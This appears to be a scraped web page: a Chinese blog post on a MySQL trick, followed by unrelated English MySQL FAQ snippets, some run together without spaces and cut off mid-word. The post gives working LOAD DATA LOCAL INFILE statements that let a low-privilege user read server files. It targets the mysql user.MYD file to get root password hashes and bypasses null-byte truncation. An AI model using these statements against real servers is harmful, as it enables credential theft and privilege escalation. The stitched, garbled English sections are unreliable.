众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into dumpfile 或者into outfile去写文件,但是偶尔在一个网站上发现个小技巧,也就是通过load data infile可以读取本地文件到数据库,这样子我们就可以在低权限下通过这个bug去读取服务器上的文件。代码如下:
LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';后来我就一直想怎么利用这个问题。一个可行的思路如下:
我们去读取mysql的数据库文件,mysql库的user表里存放着所有用户的hash,我们只要读取到这个文件,就差不多读取到了root的密码。
于是本地测试,注意,我当前连接的用户test是没有File权限的:
下面我们执行如下语句:
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by '';
然后select * from test2;
发现啥都木有,只有一个烂字符,我们用winhex打开一下user.myd文件
OK,找到问题了,被00字符给截断了,导致后面的东西都没进数据库。下面就想办法绕过这个限制。
经过几次尝试发现,在后面加上LINES TERMINATED BY ‘/0′ 即可,这样子就把截断符号作为分隔符处理了,完整的语句:
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY '/0';
效果:OK,完成!

Stored procedures are precompiled SQL statements in MySQL for improving performance and simplifying complex operations. 1. Improve performance: After the first compilation, subsequent calls do not need to be recompiled. 2. Improve security: Restrict data table access through permission control. 3. Simplify complex operations: combine multiple SQL statements to simplify application layer logic.

The working principle of MySQL query cache is to store the results of SELECT query, and when the same query is executed again, the cached results are directly returned. 1) Query cache improves database reading performance and finds cached results through hash values. 2) Simple configuration, set query_cache_type and query_cache_size in MySQL configuration file. 3) Use the SQL_NO_CACHE keyword to disable the cache of specific queries. 4) In high-frequency update environments, query cache may cause performance bottlenecks and needs to be optimized for use through monitoring and adjustment of parameters.

The reasons why MySQL is widely used in various projects include: 1. High performance and scalability, supporting multiple storage engines; 2. Easy to use and maintain, simple configuration and rich tools; 3. Rich ecosystem, attracting a large number of community and third-party tool support; 4. Cross-platform support, suitable for multiple operating systems.

The steps for upgrading MySQL database include: 1. Backup the database, 2. Stop the current MySQL service, 3. Install the new version of MySQL, 4. Start the new version of MySQL service, 5. Recover the database. Compatibility issues are required during the upgrade process, and advanced tools such as PerconaToolkit can be used for testing and optimization.

MySQL backup policies include logical backup, physical backup, incremental backup, replication-based backup, and cloud backup. 1. Logical backup uses mysqldump to export database structure and data, which is suitable for small databases and version migrations. 2. Physical backups are fast and comprehensive by copying data files, but require database consistency. 3. Incremental backup uses binary logging to record changes, which is suitable for large databases. 4. Replication-based backup reduces the impact on the production system by backing up from the server. 5. Cloud backups such as AmazonRDS provide automation solutions, but costs and control need to be considered. When selecting a policy, database size, downtime tolerance, recovery time, and recovery point goals should be considered.

MySQLclusteringenhancesdatabaserobustnessandscalabilitybydistributingdataacrossmultiplenodes.ItusestheNDBenginefordatareplicationandfaulttolerance,ensuringhighavailability.Setupinvolvesconfiguringmanagement,data,andSQLnodes,withcarefulmonitoringandpe

Optimizing database schema design in MySQL can improve performance through the following steps: 1. Index optimization: Create indexes on common query columns, balancing the overhead of query and inserting updates. 2. Table structure optimization: Reduce data redundancy through normalization or anti-normalization and improve access efficiency. 3. Data type selection: Use appropriate data types, such as INT instead of VARCHAR, to reduce storage space. 4. Partitioning and sub-table: For large data volumes, use partitioning and sub-table to disperse data to improve query and maintenance efficiency.

TooptimizeMySQLperformance,followthesesteps:1)Implementproperindexingtospeedupqueries,2)UseEXPLAINtoanalyzeandoptimizequeryperformance,3)Adjustserverconfigurationsettingslikeinnodb_buffer_pool_sizeandmax_connections,4)Usepartitioningforlargetablestoi


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